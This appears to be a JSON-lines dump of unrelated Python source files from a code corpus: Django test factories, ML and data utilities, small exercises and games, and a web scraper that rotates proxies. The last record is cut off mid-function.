+{"seq_id":"233318276","text":"# Third-Party\nfrom factory import (\n    Faker,\n    PostGenerationMethodCall,\n    SubFactory,\n)\nfrom factory.django import (\n    DjangoModelFactory,\n    mute_signals,\n)\nfrom factory.fuzzy import FuzzyInteger\n\n# Django\nfrom django.db.models.signals import post_save\n\n# First-Party\nfrom api.models import (\n    Appearance,\n    Assignment,\n    Award,\n    Chart,\n    Contest,\n    Contestant,\n    Convention,\n    Entry,\n    Grantor,\n    Group,\n    Member,\n    Office,\n    Officer,\n    Organization,\n    Panelist,\n    Participant,\n    Person,\n    Repertory,\n    Round,\n    Score,\n    Session,\n    Slot,\n    Song,\n    User,\n    Venue,\n)\n\n\nclass AppearanceFactory(DjangoModelFactory):\n    status = Appearance.STATUS.new\n    num = None\n    actual_start = None\n    actual_finish = None\n    round = SubFactory('api.factories.RoundFactory')\n    entry = SubFactory('api.factories.EntryFactory')\n    slot = None\n\n    class Meta:\n        model = Appearance\n\n\nclass AssignmentFactory(DjangoModelFactory):\n    status = Assignment.STATUS.active\n    kind = Assignment.KIND.official\n    category = Assignment.CATEGORY.drcj\n    convention = SubFactory('api.factories.ConventionFactory')\n    person = SubFactory('api.factories.PersonFactory')\n\n    class Meta:\n        model = Assignment\n\n\nclass AwardFactory(DjangoModelFactory):\n    name = Faker('word')\n    status = Award.STATUS.active\n    kind = Award.KIND.quartet\n    level = Award.LEVEL.championship\n    season = Award.SEASON.summer\n    is_primary = True\n    is_invitational = True\n    is_manual = False\n    rounds = 3\n    threshold = None\n    minimum = None\n    advance = None\n    organization = SubFactory('api.factories.OrganizationFactory')\n\n    class Meta:\n        model = Award\n\n\nclass ChartFactory(DjangoModelFactory):\n    status = Chart.STATUS.new\n    title = Faker('word')\n    arrangers = Faker('name_male')\n    composers = Faker('name_male')\n    lyricists = Faker('name_male')\n\n    class Meta:\n        model = Chart\n\n\nclass ContestFactory(DjangoModelFactory):\n    status = Contest.STATUS.new\n    is_qualifier = False\n    session = SubFactory('api.factories.SessionFactory')\n    award = SubFactory('api.factories.AwardFactory')\n\n    class Meta:\n        model = Contest\n\n\nclass ContestantFactory(DjangoModelFactory):\n    status = Contestant.STATUS.new\n    entry = SubFactory('api.factories.EntryFactory')\n    contest = SubFactory('api.factories.ContestFactory')\n\n    class Meta:\n        model = Contestant\n\n\nclass ConventionFactory(DjangoModelFactory):\n    name = Faker('city')\n    status = Convention.STATUS.new\n    season = Convention.SEASON.summer\n    panel = Convention.PANEL.quintiple\n    year = 2017\n    open_date = '2017-06-01'\n    close_date = '2017-06-30'\n    start_date = '2017-07-01'\n    end_date = '2017-07-08'\n    location = Faker('city')\n    venue = SubFactory('api.factories.VenueFactory')\n    organization = SubFactory('api.factories.OrganizationFactory')\n\n    class Meta:\n        model = Convention\n\n\nclass EntryFactory(DjangoModelFactory):\n    status = Entry.STATUS.new\n    image = None\n    is_evaluation = True\n    is_private = False\n    session = SubFactory('api.factories.SessionFactory')\n    group = SubFactory('api.factories.GroupFactory')\n\n    class Meta:\n        model = Entry\n\n\nclass GrantorFactory(DjangoModelFactory):\n    status = Grantor.STATUS.new\n    session = SubFactory('api.factories.SessionFactory')\n    organization = SubFactory('api.factories.OrganizationFactory')\n\n    class Meta:\n        model = Grantor\n\n\nclass GroupFactory(DjangoModelFactory):\n    name = Faker('company')\n    status = Group.STATUS.active\n    kind = Group.KIND.quartet\n    short_name = Faker('word')\n    code = ''\n    start_date = None\n    end_date = None\n    email = Faker('email')\n    phone = Faker('phone_number')\n    location = ''\n    website = ''\n    facebook = ''\n    twitter = ''\n    image = None\n    description = ''\n    notes = ''\n    bhs_id = FuzzyInteger(100000, 999999)\n    organization = None\n\n    class Meta:\n        model = Group\n\n\nclass MemberFactory(DjangoModelFactory):\n    status = Member.STATUS.new\n    part = None\n    start_date = None\n    end_date = None\n    group = SubFactory('api.factories.GroupFactory')\n    person = SubFactory('api.factories.PersonFactory')\n\n    class Meta:\n        model = Member\n\n\nclass OfficeFactory(DjangoModelFactory):\n    name = Faker('word')\n    status = Office.STATUS.active\n    kind = Office.KIND.international\n    short_name = Faker('word')\n\n    class Meta:\n        model = Office\n\n\nclass OfficerFactory(DjangoModelFactory):\n    status = Officer.STATUS.new\n    start_date = None\n    end_date = None\n    office = SubFactory('api.factories.OfficeFactory')\n    person = SubFactory('api.factories.PersonFactory')\n    organization = SubFactory('api.factories.OrganizationFactory')\n\n    class Meta:\n        model = Officer\n\n\nclass OrganizationFactory(DjangoModelFactory):\n    name = Faker('company')\n    status = Organization.STATUS.active\n    kind = Organization.KIND.international\n    short_name = Faker('word')\n    code = ''\n    start_date = None\n    end_date = None\n    email = Faker('email')\n    phone = Faker('phone_number')\n    location = ''\n    website = ''\n    facebook = ''\n    twitter = ''\n    image = None\n    description = ''\n    notes = ''\n    bhs_id = FuzzyInteger(100000, 999999)\n    parent = None\n\n    class Meta:\n        model = Organization\n\n\nclass PanelistFactory(DjangoModelFactory):\n    status = Panelist.STATUS.new\n    kind = Panelist.KIND.official\n    category = Panelist.CATEGORY.drcj\n    round = SubFactory('api.factories.RoundFactory')\n    person = SubFactory('api.factories.PersonFactory')\n\n    class Meta:\n        model = Panelist\n\n\nclass ParticipantFactory(DjangoModelFactory):\n    status = Contestant.STATUS.new\n    entry = SubFactory('api.factories.EntryFactory')\n    member = SubFactory('api.factories.MemberFactory')\n\n    class Meta:\n        model = Participant\n\n\nclass PersonFactory(DjangoModelFactory):\n    name = Faker('name_male')\n    status = Person.STATUS.active\n    birth_date = None\n    location = ''\n    website = ''\n    facebook = ''\n    twitter = ''\n    email = Faker('email')\n    phone = ''\n    image = None\n    description = ''\n    notes = ''\n    bhs_id = None\n\n    class Meta:\n        model = Person\n\n\nclass RepertoryFactory(DjangoModelFactory):\n    status = Repertory.STATUS.new\n    group = SubFactory('api.factories.GroupFactory')\n    chart = SubFactory('api.factories.ChartFactory')\n\n    class Meta:\n        model = Repertory\n\n\nclass RoundFactory(DjangoModelFactory):\n    status = Round.STATUS.new\n    kind = Round.KIND.finals\n    num = 1\n    session = SubFactory('api.factories.SessionFactory')\n\n    class Meta:\n        model = Round\n\n\nclass ScoreFactory(DjangoModelFactory):\n    status = Score.STATUS.new\n    category = Score.CATEGORY.music\n    kind = Score.KIND.official\n    points = FuzzyInteger(50, 90)\n    original = None\n    violation = None\n    penalty = None\n    is_flagged = False\n    song = SubFactory('api.factories.SongFactory')\n    panelist = None\n\n    class Meta:\n        model = Score\n\n\nclass SessionFactory(DjangoModelFactory):\n    status = Session.STATUS.new\n    kind = Session.KIND.quartet\n    is_invitational = False\n    scoresheet = None\n    convention = SubFactory('api.factories.ConventionFactory')\n\n    class Meta:\n        model = Session\n\n\nclass SlotFactory(DjangoModelFactory):\n    status = Slot.STATUS.new\n    num = 1\n    location = ''\n    round = SubFactory('api.factories.RoundFactory')\n\n    class Meta:\n        model = Slot\n\n\nclass SongFactory(DjangoModelFactory):\n    status = Song.STATUS.new\n    num = 1\n    appearance = SubFactory('api.factories.AppearanceFactory')\n    chart = None\n\n    class Meta:\n        model = Song\n\n\nclass VenueFactory(DjangoModelFactory):\n    name = 'Test Convention Center'\n    status = Venue.STATUS.active\n    location = ''\n    city = '',\n    state = ''\n    airport = ''\n    timezone = ''\n\n    class Meta:\n        model = Venue\n\n\n@mute_signals(post_save)\nclass UserFactory(DjangoModelFactory):\n    email = Faker('email')\n    password = PostGenerationMethodCall('set_password', 'password')\n    is_active = True\n    is_staff = False\n    person = SubFactory('api.factories.PersonFactory')\n\n    class Meta:\n        model = User\n","sub_path":"project/api/factories.py","file_name":"factories.py","file_ext":"py","file_size_in_byte":8228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"126002175","text":"# -*- coding: utf-8 -*-\r\n'''\r\nTest file for Naive Bayes classifier\r\n\r\n'''\r\n\r\nimport CLASS_NaiveBayesClassifier as NB\r\nimport numpy as np\r\nimport numpy.random as npr\r\nimport scipy.sparse as spa\r\nimport sklearn.naive_bayes as sknb\r\n\r\n# ============================== Load data ====================================\r\n\r\nnpr.seed(seed=1)\r\n\r\nrand_features_all = spa.random(m=1000, n=10000, density=0.001, format='csr')\r\nrand_features_all.data = (np.round(rand_features_all.data)).astype(int)\r\nrand_labels_all = (np.round_(((npr.rand(1000))*5))).astype(int)\r\nrand_labels_train = rand_labels_all[0:800]\r\nrand_labels_test = rand_labels_all[801:]\r\nrand_features_train = rand_features_all[0:800]\r\nrand_features_test = rand_features_all[801:]\r\n\r\n# =================================== Fit =====================================\r\n\r\n# Custom classifier\r\nnaiveTester = NB.NaiveBayesClassifier()\r\nnaiveTester.fit(rand_features_train, rand_labels_train)\r\n\r\n# Sklearn classifier\r\nnaiveTester_2 = sknb.MultinomialNB()\r\nnaiveTester_2.fit(rand_features_train, rand_labels_train)\r\n\r\n# ================================ Predict ====================================\r\n\r\n# Custome classifier\r\nprediction = naiveTester.predict(rand_features_test)\r\nprediction_2 = naiveTester_2.predict(rand_features_test)\r\n\r\n# Sklearn classifier\r\ndiff = prediction - prediction_2\r\npercentage_diff = np.count_nonzero(diff)/diff.shape[1]\r\n\r\n# ================================ Assertions =================================\r\n\r\nassert percentage_diff < 0.1\r\n","sub_path":"TEST_NaiveBayesClassifier.py","file_name":"TEST_NaiveBayesClassifier.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"385706289","text":"from astropy.io import ascii\n\n\ndef format_file(infil):\n\n\n    oufile = infil.replace('.txt','.fmt')\n    dat = ascii.read(infil)\n\n\n#    dat = dat['DATE_OBS','ITF1CCD1','ITF2CCD2','ITNUCCD3','ITSJCCD4','BT06CBPX','BT07CBNX']\n#Added more temperatures which show an overall positive trend\n    cols = ['DATE_OBS','ITF1CCD1','ITF2CCD2','ITNUCCD3','ITSJCCD4','BT06CBPX','BT07CBNX','BT10HOPA','BT17SMAP','IT01PMRF','IT03PMRA','IT04TELF','IT12HOPA','IT13FRAP']\n    dat = dat[cols]\n\n\n    hmt = '{0:^25} '\n    fmt = '{0:^25} ' \n    for i in range(1,len(cols)):\n#        fmt = fmt+' {'+str(i)+':^10.2f}'\n        fmt = fmt+' {'+str(i)+':^10}'\n        hmt = hmt+' {'+str(i)+':^10}'\n\n    #add new line at end of line\n    fmt = fmt+'\\n'\n    hmt = hmt+'\\n'\n\n\n    out = open(oufile,'w')\n#write header\n    out.write(hmt.format('DATE_OBS','ITF1CCD1','ITF2CCD2','ITNUCCD3','ITSJCCD4','BT06CBPX','BT07CBNX','BT10HOPA','BT17SMAP','IT01PMRF','IT03PMRA','IT04TELF','IT12HOPA','IT13FRAP'))\n    for i in dat:\n        out.write(fmt.format(i['DATE_OBS'],i['ITF1CCD1'],i['ITF2CCD2'],i['ITNUCCD3'],i['ITSJCCD4'],i['BT06CBPX'],i['BT07CBNX'],i['BT10HOPA'],i['BT17SMAP'],i['IT01PMRF'],i['IT03PMRA'],i['IT04TELF'],i['IT12HOPA'],i['IT13FRAP']))\n     \n\n    out.close()\n\n\n\n\n    return\n    \n\n\n#files =  glob.glob('*temp.txt')\n#\n#nproc= 10\n#\n##format_file(files[0])\n#pool = Pool(processes=nproc)\n#output = pool.map(format_file,files)\n#pool.close()\n#\n#\n#\n#\n","sub_path":"temps/format_temps.py","file_name":"format_temps.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"323385062","text":"# Copyright 2020,2021 Sony Corporation.\n# Copyright 2021 Sony Group Corporation.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom typing import Iterable, List, Tuple, TypeVar, Union\n\nimport numpy as np\n\nimport nnabla as nn\nfrom nnabla_rl.typing import TupledData\n\nT = TypeVar('T')\n\n\ndef add_axis_if_single_dim(data):\n    if data.ndim == 1:\n        return np.expand_dims(data, axis=-1)\n    else:\n        return data\n\n\ndef marshal_experiences(experiences: Iterable[TupledData]) -> TupledData:\n    '''Marshall experiences. This function concatenates each of the elements in the given experience and\n    return it as a tuple. Note that if the given experience has a tuple, this function be applied recursively.\n\n    Example:\n        >>> import numpy as np\n        >>> from nnabla_rl.utils.data import marshall_experiences\n        >>> experiences = tuple((np.random.randn(1, ), np.random.randn(2, )) for _ in range(10))\n        >>> marshaled_experience = marshall_experiences(experiences)\n        >>> marshaled_experience[0].shape\n        (10, 1)\n        >>> marshaled_experience[1].shape\n        (10, 2)\n        >>> tupled_experiences = tuple(((np.random.randn(1, ), np.random.randn(2, )), np.random.randn(3, )) \\\n            for _ in range(10))\n        >>> marshaled_tupled_experience = marshall_experiences(tupled_experiences)\n        >>> type(tupled_experiences[0])\n        <class 'tuple'>\n        >>> marshaled_tupled_experience[0][0].shape\n        (10, 1)\n        >>> marshaled_tupled_experience[0][1].shape\n        (10, 2)\n        >>> marshaled_tupled_experience[1].shape\n        (10, 3)\n\n    Args:\n        experiences (Iterable[TupledData]): iterable object of experience\n    Returns:\n        TupledData: marshaled experiences\n    '''\n    unzipped_experiences = unzip(experiences)\n    marshaled_experiences = []\n    for data in unzipped_experiences:\n        if isinstance(data[0], tuple):\n            marshaled_experiences.append(marshal_experiences(data))\n        else:\n            marshaled_experiences.append(add_axis_if_single_dim(np.asarray(data)))\n    return tuple(marshaled_experiences)\n\n\ndef unzip(zipped_data):\n    return list(zip(*zipped_data))\n\n\ndef is_array_like(x):\n    return hasattr(x, \"__len__\")\n\n\ndef convert_to_list_if_not_list(value: Union[Iterable[T], T]) -> List[T]:\n    if isinstance(value, Iterable):\n        return list(value)\n    else:\n        return [value]\n\n\ndef set_data_to_variable(variable: Union[nn.Variable, Tuple[nn.Variable, ...]],\n                         data: Union[float, np.ndarray, Tuple[np.ndarray, ...]]) -> None:\n    '''Set data to variable\n\n    Args:\n        variable (Union[nn.Variable, Tuple[nn.Variable, ...]]): variable\n        data (Union[float, np.ndarray, Tuple[np.ndarray, ...]]): data set to variable.d\n    '''\n    if isinstance(data, tuple) and isinstance(variable, tuple):\n        assert len(variable) == len(data)\n        for v, d in zip(variable, data):\n            v.d = d\n    elif isinstance(data, np.ndarray) and isinstance(variable, nn.Variable):\n        variable.d = data\n    elif isinstance(data, float) and isinstance(variable, nn.Variable):\n        variable.d = data\n    else:\n        raise ValueError\n\n\ndef add_batch_dimension(data: Union[np.ndarray, Tuple[np.ndarray, ...]]) -> Union[np.ndarray, Tuple[np.ndarray, ...]]:\n    '''Apply np.expand_dims to data. If the data is tuple, this function apply np.expand_dims to each elements of data.\n\n    Args:\n        data (Union[np.ndarray, Tuple[np.ndarray, ...]]): data\n    Returns:\n        Union[np.ndarray, Tuple[np.ndarray, ...]]: expanded data\n    '''\n    if isinstance(data, np.ndarray):\n        return np.expand_dims(data, axis=0)\n    else:\n        return tuple(np.expand_dims(d, axis=0) for d in data)\n\n\nclass RingBuffer(object):\n    def __init__(self, maxlen):\n        # Do NOT replace this list with collections.deque.\n        # deque is too slow when randomly accessed to sample data for creating batch\n        self._buffer = [None for _ in range(maxlen)]\n        self._maxlen = maxlen\n        self._head = 0\n        self._length = 0\n\n    def __len__(self):\n        return self._length\n\n    def __getitem__(self, index):\n        if index < 0 or index >= len(self):\n            raise KeyError\n        return self._buffer[(self._head + index) % self._maxlen]\n\n    def append(self, data):\n        self.append_with_removed_item_check(data)\n\n    def append_with_removed_item_check(self, data):\n        if self._length < self._maxlen:\n            self._length += 1\n        elif self._length == self._maxlen:\n            self._head = (self._head + 1) % self._maxlen\n        else:\n            raise IndexError\n        index = (self._head + self._length - 1) % self._maxlen\n        removed = self._buffer[index]\n        self._buffer[index] = data\n        return removed\n","sub_path":"nnabla_rl/utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"111779298","text":"import nose\nfrom nose.tools import eq_, assert_in\nfrom hw3_utils import vocab\nfrom collections import defaultdict\n\ndef setup_module():\n    global tiny_corpus\n    tiny_corpus = [\"This is a sentence.\", \"This is another sentence.\", \"Here is a third.\"]\n\ndef test_d1_1_char_vocab():\n    global tiny_corpus\n    c2i, i2c = vocab.build_vocab(tiny_corpus)\n\n    # are BOS_SYM and EOS_SYM in there?\n    assert_in(vocab.BOS_SYM, c2i)\n    assert_in(vocab.EOS_SYM, c2i)\n\n    # does it map things correctly?\n\n    t_idx = c2i[\"T\"]\n    eq_(i2c[t_idx], \"T\")\n\n    # are they the same length?\n    eq_(len(c2i), len(i2c))\n\n    # is it exhaustive?\n    all_seen = defaultdict(int)\n    for doc in tiny_corpus:\n        for c in list(doc):\n            all_seen[c] = 1\n    char_count = len(all_seen)\n\n    # account for BOS_SYM and EOS_SYM\n    char_count += 2\n\n    eq_(char_count, len(c2i))\n\ndef test_d1_2_sentence_vector():\n    global tiny_corpus\n    c2i, i2c = vocab.build_vocab(tiny_corpus)\n\n    test_sentence = \"Here is a sentence.\"\n\n    sent_vec = vocab.sentence_to_vector(test_sentence, c2i)\n\n    eq_(len(sent_vec), len(test_sentence))\n\n    back_to_chars = [i2c[c] for c in sent_vec]\n    eq_(test_sentence, ''.join(back_to_chars))\n\n    # does the BOS/EOS padding work?\n    with_padding = vocab.sentence_to_vector(test_sentence, c2i, True)\n    eq_(len(with_padding), len(test_sentence) + 2)\n    eq_(with_padding[0], c2i[vocab.BOS_SYM])\n    eq_(with_padding[-1], c2i[vocab.EOS_SYM])\n\ndef test_d1_3_sentence_tensor():\n    global tiny_corpus\n    c2i, i2c = vocab.build_vocab(tiny_corpus)\n\n    s = \"This is a sentence.\"\n    s_tens = vocab.sentence_to_tensor(s, c2i)\n    eq_(s_tens.shape[0], 1)\n    eq_(s_tens.shape[1], len(s))\n    eq_(len(s_tens.shape), 2)\n\n    # does BOS/EOS padding work?\n    with_padding = vocab.sentence_to_tensor(s, c2i, True)\n    eq_(with_padding.shape[1], len(s) + 2)\n    eq_(with_padding[0,0].item(), c2i[vocab.BOS_SYM])\n\n\n\ndef test_d1_4_label_vocab():\n    labels = [\"eng\",\"eng\",\"spa\",\"eng\",\"deu\"]\n    l2i, i2l = vocab.build_label_vocab(labels)\n\n    # does reversel lookup work?\n    eng_idx = l2i[\"eng\"]\n    eq_(i2l[eng_idx], \"eng\")\n\n    # are our regular and inverted mappings equally-sized?\n    eq_(len(l2i), len(i2l))\n\n    # are there the right number of entries in each?\n    eq_(len(l2i), len(set(labels)))\n    eq_(len(i2l), len(set(labels)))\n\n","sub_path":"hw3/tests/test_vocab.py","file_name":"test_vocab.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"577498475","text":"#!/usr/bin/python\n\nimport math\n\n\ndef recipe_batches(recipe, ingredients):\n    # for each key in recipe dictionary, check:\n    # 1. if it exists\n    # 2. if there is enough amount\n    # 3. if there is enough amount, how many batches we can do\n    # if no ingredient or not enough amount, return 0\n    # if there is enough amount, return the number of batches. There can be many batch amounts per ingredients, we return the smallest one (i.e. no use of having 2 batches of butter if we only have 1 for sugar)\n    lowest_proportion = []\n    try:\n        for k in recipe:\n            if recipe[k] > ingredients[k]:\n                return 0\n            else:\n                proportion = math.floor(ingredients[k] / recipe[k])\n                lowest_proportion.append(proportion)\n        return min(lowest_proportion)\n    except KeyError:\n        return 0\n\n\nif __name__ == '__main__':\n  # Change the entries of these dictionaries to test\n  # your implementation with different inputs\n    recipe = {'milk': 100, 'butter': 50, 'flour': 5}\n    ingredients = {'milk': 132, 'butter': 48, 'flour': 51}\n    print(\"{batches} batches can be made from the available ingredients: {ingredients}.\".format(\n        batches=recipe_batches(recipe, ingredients), ingredients=ingredients))\n\nrecipe = {'milk': 100, 'flour': 4, 'sugar': 10, 'butter': 5}\ningredients = {'milk': 1288, 'flour': 9, 'sugar': 95}\n\nprint(recipe_batches(recipe, ingredients))\n","sub_path":"recipe_batches/recipe_batches.py","file_name":"recipe_batches.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"226775579","text":"# @author \t\tAvtandil Kikabidze\n# @copyright \t\tCopyright (c) 2008-2014, Avtandil Kikabidze aka LONGMAN (akalongman@gmail.com)\n# @link \t\t\thttp://long.ge\n# @license \t\tGNU General Public License version 2 or later;\n\nimport sublime\nimport sys\nfrom imp import reload\n\n\nreload_mods = []\nfor mod in sys.modules:\n    if mod[0:11].lower() == 'autobackups' and sys.modules[mod] != None:\n        reload_mods.append(mod)\n\n\nmod_prefix = 'AutoBackups.autobackups'\n\nmods_load_order = [\n    '',\n\n    '.paths_helper'\n]\n\nfor suffix in mods_load_order:\n    mod = mod_prefix + suffix\n    if mod in reload_mods:\n        reload(sys.modules[mod])\n","sub_path":"Packages/AutoBackups/autobackups/reloader.py","file_name":"reloader.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"99934466","text":"from typing import List\n\nfrom arche.readers.schema import TaggedFields\nfrom arche.rules.result import Result\nimport pandas as pd\n\n\ndef check_items(df: pd.DataFrame, tagged_fields: TaggedFields) -> Result:\n    \"\"\"Check for items with the same name and url\"\"\"\n\n    name_fields = tagged_fields.get(\"name_field\")\n    url_fields = tagged_fields.get(\"product_url_field\")\n    result = Result(\"Duplicated Items\")\n    if not name_fields or not url_fields:\n        result.add_info(\n            \"'name_field' and 'product_url_field' tags were not found in schema\"\n        )\n    else:\n        result.items_count = len(df)\n        errors = {}\n        name_field = name_fields[0]\n        url_field = url_fields[0]\n        df = df[[name_field, url_field, \"_key\"]]\n        duplicates = df[df[[name_field, url_field]].duplicated(keep=False)]\n        if duplicates.empty:\n            return result\n\n        result.err_items_count = len(duplicates)\n        for _, d in duplicates.groupby([name_field, url_field]):\n            msg = (\n                f\"same '{d[name_field].iloc[0]}' name and '{d[url_field].iloc[0]}' url\"\n            )\n            errors[msg] = list(d[\"_key\"])\n        result.add_error(\n            f\"{len(duplicates)} duplicate(s) with same name and url\", errors=errors\n        )\n    return result\n\n\ndef check_uniqueness(df: pd.DataFrame, tagged_fields: TaggedFields) -> Result:\n    \"\"\"Verify if each item field tagged with `unique` is unique.\n\n    Returns:\n        A result containing field names and keys for non unique items\n    \"\"\"\n    unique_fields = tagged_fields.get(\"unique\", [])\n    result = Result(\"Uniqueness\")\n\n    if not unique_fields:\n        result.add_info(\"'unique' tag was not found in schema\")\n        return result\n\n    err_keys = set()\n    for field in unique_fields:\n        result.items_count = df[field].count()\n        duplicates = df[df[field].duplicated(keep=False)][[field, \"_key\"]]\n        errors = {}\n        for _, d in duplicates.groupby([field]):\n            keys = list(d[\"_key\"])\n            msg = f\"same '{d[field].iloc[0]}' {field}\"\n            errors[msg] = keys\n            err_keys = err_keys.union(keys)\n        if not duplicates.empty:\n            result.add_error(\n                f\"'{field}' contains {len(duplicates[field].unique())} duplicated value(s)\",\n                errors=errors,\n            )\n\n    result.err_items_count = len(err_keys)\n    return result\n\n\ndef find_by(df: pd.DataFrame, columns: List[str]) -> Result:\n    \"\"\"Compare items rows in `df` by `columns`\n\n    Returns:\n        Any duplicates\n    \"\"\"\n    result = Result(\"Items Uniqueness By Columns\")\n    result.items_count = len(df)\n    df = df.dropna(subset=columns, how=\"all\")\n    duplicates = df[df[columns].duplicated(keep=False)][columns + [\"_key\"]]\n    if duplicates.empty:\n        return result\n\n    result.err_items_count = len(duplicates)\n    errors = {}\n    for _, d in duplicates.groupby(columns):\n        msg = \"same\"\n        for c in columns:\n            msg = f\"{msg} '{d[c].iloc[0]}' {c}\"\n        errors[msg] = list(d[\"_key\"])\n\n    result.add_error(\n        f\"{len(duplicates)} duplicate(s) with same {', '.join(columns)}\", errors=errors\n    )\n    return result\n","sub_path":"src/arche/rules/duplicates.py","file_name":"duplicates.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"372312044","text":"from .exceptions import *\nimport random\n\n# Complete with your own, just for fun :)\nLIST_OF_WORDS = [\"hangman\", \"chairs\", \"backpack\", \"bodywash\", \"clothing\",\n                 \"computer\", \"python\", \"program\", \"glasses\", \"sweatshirt\",\n                 \"sweatpants\", \"mattress\", \"friends\", \"clocks\", \"biology\",\n                 \"algebra\", \"suitcase\", \"knives\", \"ninjas\", \"shampoo\"]\n\n\ndef _get_random_word(list_of_words):\n    if len(list_of_words) < 1:\n        raise InvalidListOfWordsException()\n    else:\n        return random.choice(list_of_words)\n\n\ndef _mask_word(word):\n    num_char = len(word)\n    if num_char > 0:\n        mask_word = '*' * num_char\n        return mask_word\n    else:\n        raise InvalidWordException()\n\n\ndef _uncover_word(answer_word, masked_word, character):\n    if len(answer_word) < 1 or len(masked_word) < 1:\n        raise InvalidWordException()\n\n    if len(character) != 1:\n        raise InvalidGuessedLetterException()\n\n    if len(answer_word) != len(masked_word):\n        raise InvalidWordException()\n\n    if answer_word == masked_word:\n        raise GameFinishedException()\n\n    word = ''\n    answer_case = answer_word.lower()\n    character_case = character.lower()\n\n    if character_case not in answer_case:\n        return masked_word\n\n    for index in range(len(answer_word)):\n        if character_case == answer_case[index]:\n            word += answer_case[index]\n        else:\n            word += masked_word[index]\n    return word\n\n\ndef guess_letter(game, letter):\n    if game['answer_word'].lower() == game['masked_word'].lower():\n        raise GameFinishedException()\n\n    if game['remaining_misses'] < 1:\n        raise GameFinishedException()\n\n    if letter.lower() in game['previous_guesses']:\n        raise InvalidGuessedLetterException()\n\n    m_word = game['masked_word']\n\n    word = _uncover_word(game['answer_word'], m_word, letter)\n\n    if m_word == word:\n        game['remaining_misses'] -= 1\n    else:\n        game['masked_word'] = word\n\n    game['previous_guesses'].append(letter.lower())\n\n    if game['answer_word'].lower() == game['masked_word'].lower():\n        raise GameWonException()\n\n    if game['remaining_misses'] < 1:\n        raise GameLostException()\n\n    return word\n\ndef start_new_game(list_of_words=None, number_of_guesses=5):\n    if list_of_words is None:\n        list_of_words = LIST_OF_WORDS\n\n    word_to_guess = _get_random_word(list_of_words)\n    masked_word = _mask_word(word_to_guess)\n    game = {\n        'answer_word': word_to_guess,\n        'masked_word': masked_word,\n        'previous_guesses': [],\n        'remaining_misses': number_of_guesses,\n    }\n\n    return game\n","sub_path":"hangman/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"281352759","text":"\"\"\"ES Wrapper\n\"\"\"\nfrom django.conf import settings\n\nimport elasticsearch\n\nES_CLIENT = elasticsearch.Elasticsearch(settings.ES_HOST)\n\ndef search_sentences(sentence):\n    \"\"\"Searches for given word in elasticsearch\n    \"\"\"\n    es_result = ES_CLIENT.search(\n        index='mesh',\n        doc_type='words',\n        body={\n            'query': {\n                'match': {\n                    'polish': sentence\n                }\n            },\n            'min_score': settings.ES_MIN_SCORE,\n        },\n        size=1 if settings.ES_BEST_ONLY else 100\n    )\n    return es_result['hits']['hits']\n","sub_path":"bio/wordsearch/es_client.py","file_name":"es_client.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"161427715","text":"#-*- coding:utf-8 _*-\n#\n#  File Name:    test_spider\n#  Author :      lishang\n#  date：        2018/11/25\n\nimport requests,time,mysql,re\nfrom pyquery import PyQuery as pq\nfrom requests.exceptions import ConnectionError,ReadTimeout\n\n\nheaders = {\n            \"Host\": \"www.csh.edu.cn\",\n            # \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36\",\n            \"user-agent\": \"User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50\",\n            \"referer\": \"http://www.csh.edu.cn/moetc/mdepartmentExtAction!toMdepartmentExtListWdOuter.action\",\n            \"upgrade - insecure - requests\": \"1\",\n            \"cookie\":\"test=vlan1821_web10; COLLPIC=r8yg; test=vlan1821_web10; JSESSIONID=OMpDkI0PwX0JhxDc9mm2zqH8Hx8_BnJvRjTUE9WhC2uuZFyknpII!1989823960\"\n        }\n\nbasic_url = \"http://www.csh.edu.cn\"\nstart_url = \"http://www.csh.edu.cn/moetc/mdepartmentExtAction!toMdepartmentExtListWdOuter.action\"\n\n# 获取代理IP\ndef get_proxy():\n    proxy_pool_url = \"http://47.93.231.162:5010/get/\"\n    try:\n        response = requests.get(proxy_pool_url)\n        if response.status_code == 200:\n            return response.text\n        else:\n            get_proxy()\n    except ConnectionError:\n        return None\n\ndef get_province(start_url):\n    try:\n        html = requests.get(start_url,headers=headers,proxies={\"http\": \"http://{}\".format(get_proxy())},timeout=10)\n        print(html.status_code)\n        if html.status_code == 200:\n            doc = pq(html.text)\n            items = doc('#serId > div > div:nth-child(3) > div.h_select_line_right > a').items()\n            if items:\n                for item in items:\n                    province_name = item.text()\n                    province_url = basic_url + item.attr('href')\n                    province_id = item.attr('href')[70:72]\n                    